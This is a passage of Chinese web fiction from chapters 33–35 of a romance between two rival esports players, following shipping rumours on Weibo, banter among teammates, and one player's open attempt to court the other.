桀骜的语气在耳畔响起,云醒对上池一黎雪一样淡的目光。 他就这样从容不迫地站在自己面前,像月亮一样干净皎洁,需要仰望才能窥探到对方所有的神色,索性咬咬下唇拒绝道:“我想要和他两个人一起。” 他本以为这句话就能让牧绍礼貌地再约时间,但他显然忘了这并不是一个会看人脸色说话的家伙,反而处事风格嚣张到无所顾忌。 “哦,这样。”牧绍面无表情道,“那我更不能让你们独自相处了,”他说,“我会吃醋。” 吃醋?吃谁的醋? 云醒恍惚起来,总不能是他的吧?但是牧绍这半年来确实对他很好,而且都在说池一黎喜欢自己……等等,不对。 云醒回忆起这两个人之间的相处模式。 因为之前是解说主播的原因,他有每天逛论坛搜集资料的习惯。在没入队之前凭借网上的视频影像和网友口中的分析自认为对他们形成了很大的了解,但没想到都是刻板印象。 就像他根本不知道池一黎对芒果过敏,也不知道他喜欢甜食,池一黎所有的事情都是从他人口中获得,远远没有接触到时一半鲜活。 但这些连队友都不知道的细节,牧绍全都知道。 这还是敌对关系吗?云醒有些分不清了。他脑海乱到一定程度,愣愣去看池一黎没什么表情的脸,完全波澜不惊到比冰川还要冷酷。 那他为什么还要转发自己的微博。只转发了他的,还一转就是三条。还邀请自己去他的战队……虽然自己坚定的选择了ZKS。 “我、我有点乱。”云醒说着,绿色头发下的眉头紧紧皱起来,看着自己手上没有送出去的奶茶,想转身立刻就跑出去,却猛地抬起头问:“牧绍,你也喜欢池一黎吗?” 我,喜欢,池一黎? 每一个字都认识,但组合起来怎么这么不对劲。 牧绍觉得喜欢这种东西太廉价,而且根本没有保质期可言。哪有长久的羁绊要来的更为深刻。 说喜欢就喜欢,说讨厌就讨厌,这还不是一个念头的事。谁都能说啊,像我喜欢橙色,我讨厌绿色,我喜欢吃鱼,我还喜欢池一黎。他现在就能去台上拿起话筒说出来。 “小云醒,你这是怎么得出来的?”牧绍的语速慢悠悠,“太过肤浅,我们之间可不是一句喜欢就能概括。” 池一黎神色微微变换。牧绍这一句太过理所应当,结合最近被问了很多遍的话语……他们之间除了对手外还有什么关系是他不知道的吗? “我们、可是、彼此、唯一的……”牧绍弯腰正要去在云醒耳边郑重地强调一下最后两个字,但是云醒在听到前半部分时神色猛然大变,视线在两个人身上交替一瞬,把奶茶抱在怀里说了句对不起就跑下了场。 “宿敌”两个字顿时混在空气里消散。云醒一溜烟就跑得不见人影,牧绍啧了一声,回头轻描淡写地邀请:“我饿了,那我们俩去吃吧?” 池一黎神色波澜不惊,说:“和他解释一下。” 牧绍完全懒得解释:“他还能误会成什么?” 过了几秒,他把手抄进兜里,凑近了点若有所思地问:“难不成我喜欢你,所以现在我们在谈恋爱?” “对。”池一黎点点头说。云醒肯定误会成了这个。 话语刚刚落下,韩城的声音从一旁传来,“不行————!”两个字铿锵有力地在后台响彻起来。 他身旁的庄路弥一副天塌了的表情,崩溃道:“韩城你个老登,让你昨天不跟我说清楚!我不是要他去跟这个爸吃饭啊!” 韩城痛彻心扉:“三水,你被欺负了就眨眨眼?” 池一黎微微侧头看过去,睫毛自然下垂,问:“什么?” “你昨天刚说过你们没谈的。” 池一黎点点头,沉稳回答道:“没谈。” “合着今天就在一起了啊,”庄路弥对韩城小声说,“我爸妈离婚了,我再也不信你的鬼话了。” 什么爸什么妈什么离婚。谁又结婚了?池一黎根本不看论坛,完全搞不懂他们在说什么。 牧绍在一旁接上刚刚没有说完的话题,不在意道:“好吧,我一会儿回俱乐部就和他解释清楚。那我们先去吃饭?” “我们也一起。”庄路弥说。 “你们一什么起。”牧绍分外不屑,点点一旁他昨天被从松闵完虐的射手积分榜,“游戏打那么菜,配上桌吗?” 他看同人文就觉得这小子不爽了。如果说配置里韩城是亲友团的第一出头者,那庄路弥就是里面前期阻挠,后期还会撬墙角的男小三。 韩城早知道牧绍看不起人,没想到这么看不起人,大为震撼:“他堂堂世界级最佳射手,甚至连上桌都不配?!” 韩城的重复性言语过于掷地有声。面对庄路弥妄图寻求安慰的目光,池一黎点点头赞同了一下牧绍的说法。庄路弥的意识确实有待增进,毕竟庄路弥饭量是第二多的,还没有一次能跟得上他开团的思路。 好吧。三点水的心和冰川一样冷漠无情。 牧绍因为他的附和勾起嘴角,毫不掩饰地笑问:“那我们去哪里?上次那家泰餐?” 池一黎除了芒果和青椒外都不挑食,淡淡抬眼看了一眼他,又转头问:“你们去吗?” 庄路弥沉重道:“不了三点水,我要回去增进一下我的游戏技巧,然后我才配上桌吃饭。” 两个人理解的上桌根本不是一个意思,但都没觉得有什么不对。 在池一黎的目光又扫视到韩城时,庄路弥直接替他拒绝了,义正言辞道:“我都不配,他能配吗?!” 这确实。韩城的饭量是他们之间最大的一个,也是打的最菜的。 池一黎没有强求,他神色如常地收回视线,为自己勤奋的队友鼓励道:“那你们加油。” 全明星所占的电竞馆场地本身就在市中心,餐馆的位置离得不远。牧绍太过了解池一黎的口味,在订包间的时候就把菜品一并点了,落座后就开始上餐。 单看模样的话池一黎会是那种食不言寝不语的冷漠类型,牧绍之前聚餐时特意研究过他的吃饭习惯。 他的速度不急不缓,就和喝奶茶一样,池一黎喝的慢,吃东西时嘴巴也只张开一半,塞进一点腮帮子就会鼓起来,和他酷冷的外形过于不符,显得有些过于可爱起来。牧绍有时候会觉得,看他吃东西是一件赏心悦目的事情。 牧绍翘着腿在对面看他,用手撑着脸,手上的筷子举了半天还没有开始动嘴。池一黎完全没有被这道目光影响,拿起勺子舀了一口汤喝。 “可爱的池一黎,”牧绍把玩着茶杯手柄开口问,“如果云醒追求你,你会答应吗?” 池一黎因为他过于随意的语气微微抬眼。云醒长相漂亮,技术也是难得的全能顶尖,他第一次看他直播的时候就被吸引住了。想挖对方来自己战队却失败,但如果说要想和他在一起的话,那也根本谈不上。 “为什么这样问?” “大概是,你喜欢他,他也喜欢你?”牧绍懒懒地说,“所以我在吃醋。” “他不喜欢我,”池一黎沉默道:“我并没有想和他在一起。” “如果你追求他,我不会参与。” 他的语气平静冷淡,像是完全没考虑过这方面的问题。 牧绍思考起来,自己是在吃谁的醋? 嗯。明明从一开始池一黎的目光向来只能看到把他打败的自己。但哪一天起他心上竟然有了喜欢的人,牧绍不由得分几缕视线去看看那是个怎么样的人。 喜欢云醒?喜欢这个词谁对谁都能说出来。长相漂亮的谁不喜欢,路上随便拉一个人都会说喜欢,只是看到了外貌,无论品行还是实力。牧绍也一样,但也就是嘴上说说,如果让他真去追人,可能八辈子后才会行动起来。还不如池一黎这位永远不会改变的竞争对手合他心意。 毕竟池一黎就在那里,永远都追逐在他身后,时刻等待着一击致命,然后不知道在未来哪一天里就从他手心里夺走他的冠军。 “我当然不会追求他,”牧绍语调平平,声音缓慢而悠哉,“我不追求,你也不答应,那我们一直这样就很好。” 池一黎皱眉道:“一直这样?” 牧绍如果有这方面的意思,也不用硬拉着带他一起。毕竟喜欢并不代表着就想要和对方在一起,而不在一起也没必要有什么过多的牵扯。 “如果云醒和其他人在一起了,你会哭吗?” 他又为什么会哭?云醒和谁在一起都是他自己的选择。池一黎觉得今天牧绍说的话有些超出他的理解范围。他又没有喜欢到那种地步。 他放下筷子,看到牧绍脸上满是漫不经心的神色,沉着声音冷漠开口道:“你可以正常一点。” 牧绍耸肩笑道:“我怎么不正常。” “我只是有点好奇,”牧绍认真地观察着他的眉眼说,“你都会因为什么而流泪。” “血脉相连的家人、亲密的朋友、喜欢的人、偶然间的疼痛、光线的照射、想获得却一直没有获得的奖杯?” “如果在你打败我前我就不再打电竞,你会因为失去我这个对手而落泪吗?” 牧绍站起来凑到他身边看他。池一黎鼻梁上的那颗小痣被灯光照射的存在感有些过于明显,眼睑淡淡的像是一层雪花,身上穿着和他一样款式的衣服,像是他们之间亲密无间。 池一黎问:“那你会放弃吗?” “我当然不会。”牧绍说。 “我也不会。”池一黎的神色毫无波澜,他说,“这个界定并不存在。” “那如果出现其他事情呢?” “生病、骨折、住院……” “为什么要诅咒自己?”池一黎说,眉头下压起来。 “……我想知道你的反应。”牧绍看着他,久违诚实地回答起来。 池一黎的身型并不纤细,长相也完全是不会被人轻易搭讪的冷感,但是这样的人流泪的时候才会出现那样经久不忘的强烈反差,牧绍喜欢、并且很想看到那样的他。 池一黎回答他说:“如果控制不住,可能会。”毕竟眼泪也不是他说不落就不落下的。 牧绍动了动手指,毫无征兆地去接近他浅到看不真切的眸瞳,他的速度太快,抬手的动作过于突然,在即将触碰到时看到池一黎的眼睫应激般地颤抖起来,被灯光闪烁时眼眶瞬间蒙上一层薄雾。 池一黎的眼泪砸到他伸过去的手上,眼睫水润,眸瞳像是湖泊里的透明宝石。 他因为他的动作哭了。 牧绍为这个认知愉悦起来,捧起手心想去接住他的泪水,又站在那里一眨不眨地看着他。突然就想,就算池一黎是一米八七的身型,不能像同人文里写的那样整个窝在自己怀里,他也完全比任何人要漂亮的多。 就像是文章里为自己量身定做的礼物。 第33章 池一黎踏入俱乐部大门的瞬间, 五道完全不能被忽视的灼灼目光就顿时移动到他的身上。 韩城和庄路弥似乎很想说些什么,但欲言又止地闭上了嘴继续吃饭。 另外三个人在茶几上玩大富翁,但是经理代乐显然心不在焉, 余光一直偷偷瞄着池一黎的方向,在投掷骰子时投到了白书罗的钞票堆里,顿时一阵兵荒马乱。 三个人六只手越收拾越乱, 颇有一种欲盖弥彰之感,最后白书罗轻轻咳嗦了一声,先开口问:“约会顺利吗?”? 谁?约会? 池一黎拿起杯子喝水的动作一停, 站在那里反应了一会儿。 白书罗的目光过于认真恬淡, 他已经完全相信了刚刚庄路弥和韩城回来后添油加醋说的谣言,并且为昨天录音棚的事情反思了一下,思考怎么连牧绍那样不会说话的家伙还能得到对象。 池一黎沉默了下问:“谁约会?” “不要狡辩了三点水!”庄路弥义愤填膺地站起来说, “你和那个狗东西在后台的谈话我和韩狗都听到了,我知道我们还不配上桌,但你也不可以瞒着我们!” 代乐在一旁叹气:“今天公关有些困难,你们组队完一起吃饭的热搜, 到现在花了钱也撤不下来。” 池一黎把杯子放到桌子上, 走过去淡淡重复道:“没谈。” “三水宝贝儿,你还说没谈?” 韩城一骨碌跑过来把手机送到他面前, 界面上是牧绍刚发十分钟不到的微博,没有任何文字, 只是配了一个他完全不知道对方在什么时候照的图。 图片上是一个盈满了水的普通素白色盘子,模糊地倒映着一黑一白两个身影,而橙色头发的那个人不用认都知道是谁。 云醒在一秒内转发评论了这条,并同时艾特他和牧绍,配文:〖祝你们幸福。〗 池一黎:“……” 牧绍不是说回去会解释吗? 评论区第一条是〖卧草官宣!们竞圈真有男同!〗第二条是〖爹爸, 我还在梦里是吗?〗 广场里全是cp粉在打架,毕竟池一黎和牧绍的配对并不是主流,堪称为双攻撞号邪教,磕的粉丝不多,不然这么多年来,要是有流量的话早就被联盟强制组队麦麸了。 “爹。”庄路弥举着筷子诚恳地说,“我再也不拿小号乱叫爸了,你就算哭到停不下来你也一定得是我爹啊!” “三水,你放心!”韩城拍拍他的肩沉重道,“我已经混上了你们cp超话大主持人,放心,对你不利的通通禁言!” 主持人需要连续签到二十天,还需要当月超话发帖量超过十篇。庄路弥毛骨悚然地看过去,用目光示意:你小子不是磕三连转的吗,究竟背地里拆cp看了多久? 池一黎沉思了一下,换了一种说法道:“有没有一种可能,就是……” “哦我知道了!”韩城恍然大悟道,“因为他看破了你掉眼泪的真相所以威胁你和他在一起是不是?就是他口中的那一夜,然后你两就先婚后爱xxooooxx纠缠……” 池一黎拿过桌子上还没人动过的肉夹馍精准地塞进他嘴里,冷冷说:“韩城,你被论坛毒害的不浅。” 韩城嗷呜几声,嚼了几口后脸色大变狂奔而去,喊道:“天杀的谋财害命!里面有青椒啊!” 桌子上还有一个没拆封的肉夹馍,庄路弥立刻闭上嘴不敢再开口说话。 池一黎拿出手机进入微博,他关注的人不多,云醒那一条就在主页第一个,直接点击转发,配字言简意赅:〖没谈。〗 刷新了一下主页内容,两秒过去已经三百多条评论,第一条二百多个赞的热评映入眼帘:〖啊对对对是没谈,结婚的事怎么能叫谈恋爱呢?〗 他顿了下想反驳,但想起自己连牧绍都没关注,索性直接退出账号。 这几天里已经说了太多遍“没谈”二字,池一黎不喜欢复读。打个游戏也没有必要太过关注选手的个人情感,像是看出他的不悦,在他情绪起伏之间又要控制不住掉眼泪前,队内的辅助懒懒开口了。 辅助鼻梁上架着一副男大专属的黑框眼镜,靠在沙发上抛骰子说:“安啦安啦,脑子不好也要有个度,论坛说什么信什么,这么蠢——庄路弥你们要不退队吧?” “要是谈了,凭村长那个嚣张大爷的作风,他两约完会池一黎还能这么早回来?猪脑子,也不想想。” 辅助的话太过于有实质意义,代乐看着池一黎抿唇的神情,问他道:“要不先回房间休息。明天你还去吗?这事我一定给你连夜解决了。” 明天是为期一周全明星的最后一天。开幕式去过就可以,结束也没必要都去。最近刚好处于休赛期,团队采访也完全可以后续补。 流程里最后一天没有安排池一黎上场,去了也只是单纯在台上坐着。于是他点点头,说我就不去了。 “那后天安排一场直播?”代乐看了一圈问,“我和教练商量过了,玩玩小游戏就行,斗地主啊扫雷什么的,这个月你们时长其实差不多了。” 代乐从HWD俱乐部刚成立时就是经理了,年纪虽然没有多大,但也已经不再是小姑娘。她做事情是圈内出了名的负责可靠,池一黎一向对工作安排别无二心,点头道:“我没问题。” 他点头的太快,庄路弥在一旁连忙示意说:“我大后天播啊,我明天要驻场解说,我得好好地歇一天!” “明天从松闵那家伙好像也是驻场?”白书罗想了想嘱咐道,“ZKS是死敌,你记得多阴阳几句。” “我前天差点被他和他辅助打爆啊老大,”庄路弥一副‘你怎么敢对我有期待’的样子,“三点水不来我连说话的底气都丧失了!” 池一黎接过白书罗递过来的奶茶,冷淡道:“你不能对我有太大期待,这是你们的配合问题。” 他想了想补充道:“单论射手的话,牧绍都不一定打得过有伍于起配合的他。” 庄路弥觉得这样被池一黎一说,显得自己有些过分的菜了。 牧绍虽然是官方盖定的全能,但是也不用拿他举例子,毕竟人家最擅长的位置还是打野。而他虽然和第一射手比不了,好歹也是个国际服最佳射手获奖者。 但池一黎的目光冷淡,似乎只是在说一个很平常的例子。 庄路弥知道,当了六年万年老二,他们这些队友着实是临门一脚有些不给力,如果能再多跟上他的意识一点,也不至于让他主动压制自己的打法。 瞧瞧,举例子就是牧绍,都变成他的心结了。 “那你和他呢?” 侯非侯王非王,顶级的边路都曾是野王。 池一黎说:“四六开吧。”毕竟打野是牧绍的主场。 韩城不由得问:“那谁和你比上单,这可是那白毛……?” 池一黎摇摇头:“云醒。” “但是绿毛龟是打中单的啊。”韩城不解了,但一瞬间就反应过来。换俱乐部都是正常的,全能型选手的话换个位置那就更正常了。只要找准自己擅长的方向,野鸡都能大展拳脚变成绝活哥。 但云醒不可能去ZKS的上单位。在国内缺失高水平上单的大环境下,ZKS的白毛上单再不如池一黎,在外面也是能横扫众人的存在。 而就像庄路弥,其实也不菜,就是和队友配合不好。他们队的辅助是去年才提上来的第四任,才会被熟悉队友打法的榜一cp压着打。 “你之前是想让他来替你?”白书罗听出来了,但池一黎没有伤病,状态在线,年龄也不大,培养下一任是青训营和教练的事情,池一黎邀请什么? “他很有天赋。”池一黎回答,他只是单纯不想让任何一个适合打上单的人才被埋没。 而且按照平均退役年龄的话,他其实明年就该退役了。屋子里这一兜子人也大差不差,除非那些状态特别好的能死熬到二十七八岁。 但他最近发现,云醒的天赋只是都适配且全能,真要说的话,确实打中单更有利于他发展一点。 这个话题显然还没到现在讨论的时候,韩城迅速打断转移到其他的话题,嘴上说着要不你先去休息,举起手机看了一眼,又开始卧槽起来。 “嗯对是个什么鬼。”庄路弥显然也看到了,“祝你们幸福,没谈,嗯对。” 池一黎咬着吸管下意识去摸手机,不甚熟练地登录微博的时候才发现自己刚刚退了。 假的也不影响庄路弥磕,他啧道:“这是我新爸第一次转发人吧。这什么?一连转cp?” 代乐也刷了两下,看着上面的话语欲言又止。 〖云:“祝你们幸福” 水:“没谈(已结婚)” 木:“嗯对(请祝福)”〗 她转头问:“大宝贝儿啊,你能联系云醒把那条说成是大冒险吗?照这趋势来讲,着实有些不太好扭曲……” 池一黎用未登录状态一下滑微博推荐就刷到了牧绍的那句转发,略微不解起来:“他不是澄清了?” 韩城深刻道:“三水,你要知道,有的时候澄清还不如冷处理……” 代乐一时半会儿和他解释不了这个问题,索性说:“你先去休息吧,我一会儿和ZKS那边联系一下怎么弄。” 如果三位当事人没这样反复转发还好,最多cp粉打一会儿就没了水花,广场也不至于这样疯癫起来。 但池一黎牧绍的cp粉愈加加码的百人联合不限圈抽奖数额太大,短短一天已经冲出竞圈飞向娱乐圈和二次元,光是粉丝词条就已经火到了热搜第二。 第一是#神帝携手赛后约会 甚至没有‘疑似’两个字。 池一黎只要不舞到他面前让他听懂就全然无所谓,因为听不懂的话他就控制住情绪,没什么情绪地淡淡说:“都知道是假的就好了。” 他提着吸管被咬到变形的奶茶上楼,他的房间是三楼最靠里的一个,通体布置都是蓝色。 俱乐部没有强制要求住在基地,池一黎是本市人,平时周末都回家住。他父亲是大学讲师,母亲是公司人力资源部主管,没有兄弟姐妹。 池父是个热爱冲浪的抽象派老师,年龄不小,但是极能跟得上时代潮流。平日里在账号上发布和学生一起拍的玩梗视频,到现在也有二百多万粉丝。 他奶茶放到桌子上还没打开电脑,池父的视频通话就弹了出来。 他爸语调散漫,半张脸怼完了整个屏幕:“粒儿啊,谈男朋友了?什么时候让爹看看审视一下?我还没做过这件事有点小紧张啊!” 他妈在一旁抢过手机接话:“都说这是营销炒作了,我就是这行的我能不懂?他真谈了能不告诉咱们?” 转头看向镜头语调又开始温温柔柔起来:“这周末回家想吃什么?糖醋里脊?这几天我新学了一个韭菜火腿馅的饺子,味道你爸都说好吃。” 池一黎点点头:“我不挑,都可以。” “游戏打的累不累?我给你约了一个全身按摩,到时候周日带你去,你们这些人一坐就是一整天,身体怎么受得了……” 池一黎笑了下:“好。” 他爸插话:“那这个牧绍,我记得和你是不同战队的吧?最近学生投放ppt时电脑界面不是他就是你,六联世界冠军,什么真神全能打野,嘛这小子蛮厉害的嘛!” 池一黎想了下说:“嗯,他很厉害。” 他妈转头挑眉道:“我儿子才是最厉害的,那什么单人冠军比什么东西的团队战厉害多了,你能不能别在这夸其他人?” “这不是热搜嘛,我问个底心里有数……” 零零散散聊了一个多小时,热奶茶都被放的有点凉。池一黎打开电脑开始复盘今天和牧绍的那局合作,抽出一旁的笔记本和黑笔,还没看几分钟,韩城的消息从右下角跳了出来。 【群聊:玩玩就行了别一直玩(78)】 老子就是打野的野:〖庄路狗这评论是你小号发的?你个狗东西什么时候改的微博名?〗 老子就是打野的野:〖害我点进去看了半天,才发现确实是互关。〗 老子就是打野的野:〖图片〗 世界第一射手(坠落版):〖?韩狗你没病吧你看看这什么群?!〗 韩城撤回的很快,但是联盟群里手速向来不是问题,只短短一秒的撤回十来个人都已经截了屏,齐刷刷地在群里开始刷屏。 牧绍的电话在一旁响起,池一黎顿了下,先放下手里的笔,移动鼠标去点击那张被刷屏的图片。 〖@这可是联盟好玩的日报: 十五分钟前 bot好,递世一单最爱的西瓜啵啵。 内部消息,全明星最后一天神来帝不来,名牌都撤了,这是干什么? 热评: @爹我再也不随便认爸了: 结婚第一天,新娘子有些害羞。(1988赞)〗 第34章 牧绍的电话响了两遍池一黎才接起来。 电脑上的图片被他顺手点了叉, 池一黎滚动了几下屏幕,看到联盟选手群里其他选手嘻嘻哈哈的善意调侃。 另一头的牧绍在他接通电话时开口道:“我已经转发解释了。” 池一黎在楼下就看到了他转发的那两个字。有时候单发一个图片也代表不了什么,云醒的那句话才是彻底点燃整件事的导火线, 于是问他:“那云醒呢?” 你解释了吗,有给他好好说吗? 他的话音落下,牧绍在那边很长时间都没有回复。久到池一黎以为电话已经被挂断, 专门移到眼前看了一眼屏幕上还在跳动的数字。 数字推算显示牧绍已经安静了接近三分钟,池一黎等了一会儿,把手机放到一边, 重新拿起刚刚放下的黑色水性笔。 他握着鼠标想要去将不久前暂停的复盘视频继续播放。游戏画面才开始不过几分钟而已, 现在正好停留在牧绍所操纵的角色瞬移而来。 “我只是一瞬间,突然有些不爽。”牧绍突然开口说。 池一黎不理解他这句话的意思,冷淡地开口:“为什么?” “我和云醒聊过了, ”牧绍语气前所未有的多了一丝认真,问他,“哪怕你没想过去追他、或者是什么,但对你而言他是不同的, 是这样吗?” 这句话让池一黎思考了一下。云醒如果更适合中单的话, 其实他和别人对自己而言也没什么不同。 不能萌发出‘想在一起’这种情感的喜欢不是喜欢,但也可能是现阶段情绪没有热烈到那个地步, 毕竟随意下定义是一件很可怕的事情。这是他妈妈教给他的。 “我因为这个认知有些不爽起来,”牧绍继续把自己的想法说出来, “因为我意识到你对我而言是独一无二并且与众不同的,而我却不是,我有些不能接受这个事实。” “我不满足。” “我只是你成功路上的一个绊脚石?如果你有一天经过我、超越我,你的目光还会像这样停留在我身上吗?答案是必然不会。那我是什么?可敬的游戏对手、难缠的敌对成员、偶然并肩过的队友?” “这些显得过于普通,我想要成为特殊的那个。” “所以…池一黎…我想要一个新的称呼。”最后他这样说。 牧绍一连串的话语语速平缓清晰, 池一黎逐句拆开分析,意识到里面所蕴含的情感却无比坦诚。 池一黎不由得因为这段话语中潜在的信息沉默了一下,问他:“你想要的是……什么称呼?” “我正站在你俱乐部门口的那棵树下。”牧绍懒散地开口,“从和他聊完,到现在我已经思考了整整两个小时。” 牧绍答非所问,池一黎便也不再开口。 他与云醒两个人之间到底聊了什么,牧绍才会这样突然转变了一副态度。他记得下午吃饭时牧绍才说过“你不接受,我不追求,我们一直这样就很好。” 是与现在完全截然不同的态度与做法。 想要成为特殊的那个。他这句话应该说给云醒。 无法言说的氛围蔓延开来,池一黎的沉默有迹可循,但牧绍向来不是被动等待的那个人,对他而言,所有事情的节奏都要掌握在自己手上才会感到安心。 他缓缓道:“我会等半小时,如果你不出来,我就会去敲门。” 这句话显然太过于情感勒索。但是池一黎了解他,牧绍就是这样行事嚣张而且随心所欲的人。 他人的言语对自己造不成什么实质性的影响,联盟内被如此配对调侃的经历谁都有过,所以池一黎不会觉得队友、或者未曾谋面的粉丝他们的那些说法过分。 只有牧绍,好像随便几句话就能轻易调动起自己的情绪起伏。池一黎太久没这样不受控过,阀值一被打开就情不自禁地频繁落泪。 此刻听到牧绍现在这样不加掩饰地界定控制起自己行为的话语,未免觉得有些不悦。 “我不会下去。”池一黎的声音不带任何情绪,评价道,“你太理所当然了,牧绍。” “我知道你会这样说。”牧绍气定神闲地笑起来,“我带了独狼的第一版角色卡,原版的。” 独狼就是池一黎成名英雄的大众称谓。第一版角色卡全球限量五张,只有当这个英雄在世界赛登顶时才会纪念赠送给本赛季该英雄使用率最高的五个玩家,堪称千金难买。 池一黎有第二版到第七版,第一版的复刻周边也购买了很多,但原版,这意义显然有些不太一样。 “你……”池一黎皱起眉,一时间不知道用哪一个词语来形容。 “我想见你。” 而他们才分开不到三个小时。 池一黎捏住手中的笔,冷下脸重复道:“你太理所当然了。” 想要拿到绝版的第一版角色卡,又不想如牧绍所愿那样说下去就下去。电话那头的牧绍像是胜劵在握的表现让他莫明的不爽起来。 不论是伤心快乐,还是生气后悔,情绪只要开始波动就会落泪。眼泪突如其来砸到笔记本的白色纸张上,头顶的白色灯光打下来,池一黎看着被晕开的一小片黑色字体,过了一会儿低低说:“牧绍,你好讨厌。” “那我以后还会让你更讨厌。这该怎么办?”牧绍语气带了点笑意,“我在你房间门口,开门让我来哄哄你?” “我可没有敲门。”牧绍补充道,“是你们队庄路弥主动开的门。” 池一黎回答的飞快:“庄路弥也讨厌。” 天天在他面前造谣他和不同的人在一起,团战中还跟不上自己的思路,和辅助的配合菜到他都不想说,一天天就知道吃喝玩乐,现在还给牧绍开门,庄路弥好讨厌。 “其实是韩城先看到的我…….?” 池一黎一视同仁:“韩城也讨厌。” 韩城也一样。又菜又爱玩,吃不下还非要一次性吃很多很多,每次都让他费力气拎回到休息室里,还天天磕他跟其他人的各种关系,现在又看到牧绍就直接去给他开门,韩城好讨厌。 牧绍被他逗笑了:“你怎么谁都讨厌。” “你最讨厌的那一个。” 池一黎说话好像小学生。牧绍站在门外点点他的把手,伴随着轻微响起的声响,发现门并没有上锁。 门被推着探开一道小小的细缝,牧绍看到电脑桌前的池一黎,他把自己整个都窝进宽大的电竞椅里,从这个角度只能看到他被黑色牛仔裤包裹的双腿,微微弯曲着,一前一后随意地踩在地上。 牧绍看了一会儿,在电话里耍无赖说:“小学生池一黎,那我就要一直站在你门口了,我站到天亮站到睡在走廊里,直到你让我进去为止。” 走廊拐角处,庄路弥和韩城在被他供出去的那一刻脸色骤变,他们听不到通话那头池一黎在说什么,结合语境猜测了一下,韩城垂头丧气起来。 韩城狠狠道:“庄路狗!我都说不要开了!” 庄路弥痛苦地回答:“我听到他说要给一个惊喜我就失去判断了。绝版角色卡诶!三点水想要六年了!” “好吧没有分辨意识的庄路狗,都怪牧绍这个狗东西。” “对啊还好意思说我的韩老狗,都怪牧绍这个狗东西!” 两个人吵着吵着,看到牧绍举着手机突然直接推开门走了进去,瞬间都闭上嘴站了起来。 门内池一黎坐直身子看他,沉稳地在不经意间把笔记本被沾湿的那一面反扣到桌面上。 “怎么又掉眼泪了?”牧绍看一眼就猜到了,懒懒笑了一声,“虽然我很喜欢看到你哭,但我这次来是想让你开心的。” 池一黎不搭腔,他转起笔来,没什么表情地压着声音问:“你想要什么称呼?” 牧绍想了想说:“我还没有想好,但我得是特殊的那一个。” 见池一黎神色没什么波动,他坦然补充道:“虽然这听起来有点怪,但的确是我的真心话。” 什么是特殊? 一个简单的称呼还需要有特殊的那一个。队友、对手、朋友、除此之外还能是什么?牧绍有些不满足于‘宿敌’这个词语,他想要更亲密一点。 他把套着卡膜和卡套的角色卡放到池一黎桌面上反扣着的笔记本上,移动手指点了点价值连城的那一小张纸片,打比方说:“就像你很想得到它一样,我现在也很想……” 牧绍抬眼近距离地看着池一黎的表情,那双浅到看不真切的眸瞳里面情绪也淡如雪,只有眼尾沾了点淡淡的粉。 他不由得在口腔里咀嚼了一下自己即将脱口而出的话,最后拖起长长的腔调,肯定道: “……得到你。” 牧绍的话语丝毫没有拐弯抹角,池一黎直白地理解了,他直接地说:“你是想追求我。” “是。”牧绍点点头,嘴角漾起弧度,“但是我不喜欢这个说法。” 他看着眼前这个身型挺拔的男人,动作间一如既往地参杂着冷感,但是在他眼里可爱又脆弱。 “你是斯芬克斯之谜,而我正在妄想去解开你。” 第35章 牧绍以现在时间太晚, 并且已经到了他平时的睡眠时间为由,极其自然地入住了池一黎对面的空房间。 HWD这块位于市中心的俱乐部只住了他们一队成员和一些赛训团队的人。经理家在本市,教练神龙不见首尾, 而其他人正处于休赛的放假期间,平日里也和他们不住在一个地方,基地里空房间剩了不少。 为了防止投资商和老板突击视察, 每天都请有专门的家政来打扫卫生,不住人的房间配备也一应俱全,牧绍完全是空手即可入住。 池一黎隔壁就是庄路弥。他被白书罗赶回来睡觉, 又为自己邀请牧绍进门的事情懊悔不已, 睡不着时每隔一段时间就去趴在门口警惕一下池一黎房间那个外来人员的动向。 冷不丁看到池一黎在群里发的‘他今晚睡311’这条消息,庄路弥一个起立就冲出了门。 队内其他人都在一楼打桌游,可能都没看到信息, 这层楼现在就他们三个人。 庄路弥对于牧绍的作息极其不可思议,说:“我没看错吧?现在才十一点,夜生活甚至都还没开始!牧绍你老年人作息啊,现在哪里晚了?” 牧绍把车钥匙塞进衣服兜里, 跨过他打开311的门, 懒散回头道:“没办法,再不睡觉就要被赶出去了。” 这话说的很有指向性, 牧绍朝池一黎看过去的目光非常直白。在池一黎已经表态让他睡对面的情况下,庄路弥默默把‘那你大晚上过来干什么, 你要不回去吧’这句话咽进喉咙里。 你俩也不在一个房间里啊。庄路弥想。堂堂世界级真神打野,怎么还会被赶出去?别说借宿了,就算是住在这教练都敲锣打鼓地欢迎。 池一黎站在那里,闻言微微侧了一下头示意自己在听。他没有走出自己的房间,手掌随意地搭着房门的把手。走廊暖黄色的光晕和室内冷白色的灯光交织着打下来, 衬得他眉目冷淡,黑发白皮异常分明。 牧绍的眼神被他选择性地忽视掉,池一黎朝庄路弥凉凉道:“熬夜的话,你明天起得来?” HWD全员明天就去庄路弥一个,驻场需要从头跟到尾,他一向是起床困难户,但没有工作的日子没人会早起,被誉为联盟第一好队长的白书罗也不会爬起来叫他起床。 庄路弥自然也知道这个道理,整个人肉眼可见地开始枯萎起来,说着‘手机啊睡眠啊,果然不可兼得也’就失神落魄地立刻转身回自己房间,在进门时又反应过来:这个点牧绍完全可以再开车回去啊,ZKS定的酒店离得又不远。 池一黎从容地收回视线,转眼看牧绍还在盯着自己,薄唇无意识间抿成一条直线,最后向他点点头:“早点休息。” 哇塞,讨厌我的小学生池一黎不仅让我睡他对面,现在竟然还主动和我说晚安。 牧绍眉毛轻微挑起,心情不错地噙起笑意:“当然了亲爱的池一黎,我会努力梦到你的。” 池一黎没什么表情地凝眉看他几秒。 虽然牧绍的语调、声线和语气和之前相比其实并没有什么区别,但他总感觉后者的说话内容变得奇怪起来。 两个人的视线交错,牧绍松松地撑着门框,完全没有觉得自己一贯的话语有什么不对。 池一黎率先移开视线,后退一步抬手关上了门。 电脑因为长时间没有操作已经自动熄屏,笔记本上的那张角色卡静静地躺在那里,池一黎将它从卡套里拿出来仔细端详了一会儿,郑重地塞进桌子上韩城给的贝壳卡砖里。 初代原版和复刻相比除去多了左下角的编号外没有任何区别,但不妨碍每个人都想得到它,只是看着心理都会得到细微的满足。 池一黎把笔记本放正,摸了摸上面明显的湿痕,纸张因为液体干涸而微微变形,按压上去携带着细碎的脆响。 牧绍说的那些话过于突然,现在静下来细想,需要还一个同等价值的礼物,也需要明确拒绝。 但是类比于这个价值的……池一黎目前思考不出结果,移动鼠标唤醒屏幕,忽略三十秒内就能闪几百下的右下角消息,重新点开复盘视频。 